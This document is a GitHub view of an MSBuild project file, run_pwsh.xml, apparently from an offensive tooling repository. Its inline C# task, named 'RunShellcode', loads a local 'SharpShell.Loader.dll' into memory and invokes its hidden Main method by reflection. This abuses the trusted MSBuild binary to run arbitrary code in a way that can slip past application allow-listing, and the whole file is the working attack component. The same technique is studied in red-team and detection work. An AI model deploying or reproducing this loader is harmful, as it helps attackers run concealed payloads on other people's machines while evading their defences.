-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathrun_pwsh.xml
More file actions
37 lines (35 loc) · 1.16 KB
/
run_pwsh.xml
File metadata and controls
37 lines (35 loc) · 1.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<UsingTask TaskName="RunShellcode" TaskFactory="RoslynCodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Using Namespace="System.Runtime.InteropServices" />
<Using Namespace="System.Reflection"/>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Reflection;
public class RunShellcode : Task
{
public override bool Execute()
{
var dll = File.ReadAllBytes("SharpShell.Loader.dll");
var loader = Assembly.Load(dll);
var type = loader.GetType("SharpShell.Loader.Program")!;
var method = type.GetMethod("Main", BindingFlags.Static | BindingFlags.NonPublic)!;
var res = method.Invoke(null, new object[] {new string[] {}});
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
<Target Name="Run">
<RunShellcode />
</Target>
</Project>